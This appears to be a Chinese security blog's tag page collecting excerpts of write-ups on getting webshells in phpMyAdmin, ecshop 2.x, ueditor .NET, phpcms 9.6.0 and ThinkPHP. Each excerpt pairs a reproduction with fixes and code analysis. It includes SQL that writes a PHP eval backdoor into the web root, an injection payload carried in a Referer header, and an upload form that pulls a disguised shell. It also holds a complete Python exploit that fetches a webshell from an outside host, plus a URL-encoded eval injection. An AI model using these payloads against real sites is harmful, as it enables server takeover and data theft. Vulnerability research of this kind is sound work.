Tag:getshell

Tag (getshell)'s result:

phpmyadmin getshell大法

0x00 概述 整理phpmyadmin的两种getshell方法,后续有其他方法再更新。   0x01 select日志 show variables like ‘general%’; set global general_log = ‘ON’;# MySQL 返回的查询结果为空 (即零行)。 set global general_log_file = ‘C:/phpStudy/PHPTutorial/WWW/logshell.php’;# MySQL 返回的查询结果为空 (即零行)。 SELECT ‘<?php @eval($_POST[lsa]);?>’   0x02 into outfile 此法有局限性,必须secure_file_priv不为null && 为网站路径 show variables like “secure_file_priv”; 默认Null 尝试设置为网站目录: 需要修改my.ini secure_file_priv=’网站路径   0x03 其他 还有phpmyadmin4.8.x LFI to RCE   0x04 结语 phpmyadmin上述getshell方法都要登录,可尝试爆破。   0x05 参考资料 www.freebuf.com/column/173672.html  

ecshop 2.x远程代码执行漏洞重现及分析

本文参考自:ringk3y.com/2018/08/31/ecshop2-x代码执行/ //本文漏洞分析部分利用的payload/exp来源于此文。 0x00 概述 8月31日,网上爆出ecshop远程代码执行漏洞,经测试,该漏洞利用难度低,威力巨大可直接getshell,本文对此进行重现及分析。 0x01 影响范围 ecshop 2.x   0x02 漏洞重现 SQL注入: 报错注入payload: Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:”num”;s:72:”0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)– -“;s:2:”id”;i:1;} RCE getshell: //工具https://github.com/theLSA/ecshop-getshell   0x03 修复方案 intval $arr[id]和$arr[num]   0x04 漏洞分析 报错注入payload: Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:”num”;s:72:”0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)– -“;s:2:”id”;i:1;} 环境:ecshop 2.7.3 漏洞文件: ecshop273\user.php:302 elseif ($action == ‘login’) { if (empty($back_act)) { if (empty($back_act) && isset($GLOBALS[‘_SERVER’][‘HTTP_REFERER’])) { $back_act = strpos($GLOBALS[‘_SERVER’][‘HTTP_REFERER’], ‘user.php’) ? ‘./index.php’ : $GLOBALS[‘_SERVER’][‘HTTP_REFERER’]; } else { $back_act = ‘user.php’; }   } $back_act参数来源于Referer,可控。 $smarty->assign(‘back_act’, $back_act); $smarty->display(‘user_passport.dwt’); 赋值展示 ecshop273\includes\cls_template.php:70 function assign($tpl_var, $value = ”) { if (is_array($tpl_var)) { foreach ($tpl_var AS $key => $val) { if ($key != ”) { $this->_var[$key] = $val; } } } else { if ($tpl_var != ”) { $this->_var[$tpl_var] = $value; } } }   function display($filename, $cache_id = ”) { $this->_seterror++; error_reporting(E_ALL ^ E_NOTICE);   $this->_checkfile = false; $out = $this->fetch($filename, $cache_id);   if (strpos($out, $this->_echash) !== false) { $k = explode($this->_echash, $out); foreach ($k AS $key => $val) { if (($key % 2) == 1) { $k[$key] = $this->insert_mod($val); } } $out = implode(”, $k); } error_reporting($this->_errorlevel); $this->_seterror–;   echo $out; } 关键在于: $out = $this->fetch($filename, $cache_id);     if (strpos($out, $this->_echash) !==……

ueditor getshell漏洞重现及分析

0x00 概述 8月21日,网上爆出ueditor .net版本getshell漏洞,由于只校验ContentType而没校验文件后缀导致getshell。   0x01 漏洞重现 Payload: <form action=”http://www.xxx.com/controller.ashx?action=catchimage” enctype=”application/x-www-form-urlencoded” method=”POST”> <p>shell addr:<input type=”text” name=”source[]” /></p > <input type=”submit” value=”Submit” /> </form> 图片马x.jpg放在自己服务器上 提交http://www.domain.top/x.jpg?.aspx 返回: 菜刀连接:   0x02 修复方案 增加文件扩展名校验(白名单)   0x03 漏洞分析 ueditor1_4_3_3-utf8-net\utf8-net\net\controller.ashx <%@ WebHandler Language=”C#” Class=”UEditorHandler” %> using System; using System.Web; using System.IO; using System.Collections; using Newtonsoft.Json; public class UEditorHandler : IHttpHandler { public void ProcessRequest(HttpContext context) { Handler action = null; switch (context.Request[“action”]) { case “config”: action = new ConfigHandler(context); break; case “uploadimage”: action = new UploadHandler(context, new UploadConfig() { AllowExtensions = Config.GetStringList(“imageAllowFiles”), PathFormat = Config.GetString(“imagePathFormat”), SizeLimit = Config.GetInt(“imageMaxSize”), UploadFieldName = Config.GetString(“imageFieldName”) }); break; case “uploadscrawl”: action = new UploadHandler(context, new UploadConfig() { AllowExtensions = new string[] { “.png” }, PathFormat = Config.GetString(“scrawlPathFormat”), SizeLimit = Config.GetInt(“scrawlMaxSize”), UploadFieldName = Config.GetString(“scrawlFieldName”), Base64 = true, Base64Filename = “scrawl.png” }); break; case “uploadvideo”: action = new UploadHandler(context, new UploadConfig() { AllowExtensions = Config.GetStringList(“videoAllowFiles”), PathFormat = Config.GetString(“videoPathFormat”), SizeLimit = Config.GetInt(“videoMaxSize”), UploadFieldName = Config.GetString(“videoFieldName”) }); break; case “uploadfile”: action = new UploadHandler(context, new UploadConfig() { AllowExtensions = Config.GetStringList(“fileAllowFiles”), PathFormat = Config.GetString(“filePathFormat”), SizeLimit = Config.GetInt(“fileMaxSize”), UploadFieldName = Config.GetString(“fileFieldName”) }); break; case “listimage”: action =……

phpcms9.6.0任意文件上传getshell漏洞重现及分析

0x01 概述 2017年4月,爆出phpcms9.6.0的任意文件上传getshell漏洞,攻击者无需登录认证即可在登录页面利用此漏洞,挺厉害。 0x02 bug重现及POC 登录页面: 利用POC: //poc来源:http://hacktech.cn/2017/04/10/phpcms9-6-0-getshell-with-python.html # -*- coding:utf-8 -*- ”’ ———————- Author : Akkuman Blog : hacktech.cn ———————- ”’ import requests import sys from random import Random chars = ‘qwertyuiopasdfghjklzxcvbnm0123456789’ def main(): if len(sys.argv) < 2: print(“[*]Usage : Python 1.py http://xxx.com”) sys.exit() host = sys.argv[1] url = host + “/index.php?m=member&c=index&a=register&siteid=1” data = { “siteid”: “1”, “modelid”: “1”, “username”: “dsakkfaffdssdudi”, “password”: “123456”, “email”: “dsakkfddsjdi@qq.com”, # 如果想使用回调的可以使用http://file.codecat.one/oneword.txt,一句话地址为.php后面加上e=YXNzZXJ0 “info[content]”: “<img src=http://file.codecat.one/normalOneWord.txt?.php#.jpg>”, “dosubmit”: “1”, “protocol”: “”, } try: rand_name = chars[Random().randint(0, len(chars) – 1)] data[“username”] = “akkuman_%s” % rand_name data[“email”] = “akkuman_%s@qq.com” % rand_name htmlContent = requests.post(url, data=data) successUrl = “” if “MySQL Error” in htmlContent.text and “http” in htmlContent.text: successUrl = htmlContent.text[htmlContent.text.index(“http”):htmlContent.text.index(“.php”)] + “.php” print(“[*]Shell : %s” % successUrl) if successUrl == “”: print(“[x]Failed : had crawled all possible url, but i can’t find out it. So it’s failed.\n”) except: print(“Request Error”) if __name__ == ‘__main__’: main() 菜刀连接得到的shell地址,如图: 重现成功! (注意这里的文件名(shell地址)是可以爆破的,后文说明。) 0x03 修复方案 1.升级到最新版本 2.关闭注册功能 3.禁止uploadfile目录下动态脚本执行 0x04 bug分析 由poc的 index.php?m=member&c=index&a=register&siteid=1 找到这个index.php的register函数 关键代码: //附表信息验证 通过模型获取会员信息 if($member_setting[‘choosemodel’]) { require_once CACHE_MODEL_PATH.’member_input.class.php’; require_once CACHE_MODEL_PATH.’member_update.class.php’; $member_input = new member_input($userinfo[‘modelid’]); $_POST[‘info’]……

Thinkphp缓存函数设计缺陷getshell漏洞重现及分析

0x01 概述: 看到一篇帖子 https://xianzhi.aliyun.com/forum/read/1973.html 参考此帖子的步骤重现这个bug,并以tp3.2.3为例进行漏洞分析。 大概就是缓存函数设计不严格,导致攻击者可以插入恶意代码,直接getshell。 0x02 影响版本 5.0.10-3.2.3 0x03 bug重现 环境:redhat6+apache2+Mysql+php5+thinkphp3.2.3 IndexController.class.php: 关键代码: public function add(){ $db = M(‘books’,’think_’); if($_POST[‘bookname’] && $_POST[‘price’]) { $data[‘bookname’] = $_POST[‘bookname’]; S(‘name’,$data[‘bookname’]); $data[‘price’] = $_POST[‘price’]; $result = $db->add($data); if($result) { $this->redirect(‘Index/main’,”,2,’add success!’); } } else { $this->display(); } } 效果图: 添加书名ruby,价格34 看看缓存文件: 来试试添加一句话:eval($_POST[‘tpc’]); 用burpsuite提交数据。 抓包修改 bookname=%0D%0Aeval(%24_POST%5b%27tpc%27%5d)%3b%2f%2f 也就是回车,最后加上//。 Ps:那篇帖子的一句话是(//回车+一句话+#),我认为开头不用//也行,目的是换行写入一句话,我最后用//注释掉其他东西。 成功插入,如图: 再看看缓存文件和数据库: 都成功写入,到了激动人心的连接时刻了,上菜刀 http://192.168.0.100/thinkphptest/thinkphp/Application/Runtime/Temp/b068931cc450442b63f5b3d276ea4297.php (注意大写,不然会not found……) 至此,bug成功重现! 0x04 修复方案 从重现过程可以看出,在缓存文件里攻击者通过换行写入了恶意代码。所以可以参考那篇帖子的修复方案: 1,打开文件:thinkphp\library\think\cache\driver\File.php 2,找到:public function set($name, $value, $expire = null) 方法 3,添加:$data = str_replace(PHP_EOL, ”, $data); 就是去掉\r或\r\n或\r,即去掉换行。 0x05 漏洞分析 那篇帖子以tp5为例分析,我这里就以tp3.2.3来分析吧,原理都是一样的。 先找到Cache.class.php文件,关键代码: /** * 连接缓存 * @access public * @param string $type 缓存类型 * @param array $options 配置数组 * @return object */ public function connect($type=”,$options=array()) { if(empty($type)) $type = C(‘DATA_CACHE_TYPE’); $class = strpos($type,’\\’)? $type : ‘Think\\Cache\\Driver\\’.ucwords(strtolower($type)); if(class_exists($class)) $cache = new $class($options); else E(L(‘_CACHE_TYPE_INVALID_’).’:’.$type); return $cache; 这里读入配置,获取实例化的一个类的路径,路径是 Think\\Cache\\Driver\\ 这里我尝试了var_dump($class)和echo $class直接浏览器访问Cache.class.php都无法像那篇帖子一样打印出$class,后来才发现添加数据写入缓存页面跳转才打印了Think\\Cache\\Driver\\File。 关键代码: /** * 取得缓存类实例 * @static * @access public * @return mixed */ static function getInstance($type=”,$options=array()) { static $_instance = array(); $guid = $type.to_guid_string($options); if(!isset($_instance[$guid])){ $obj = new Cache(); $_instance[$guid] = $obj->connect($type,$options); } return $_instance[$guid]; } public function __get($name) { return $this->get($name); } public function __set($name,$value) { return $this->set($name,$value); } public function __unset($name) { $this->rm($name); } public function……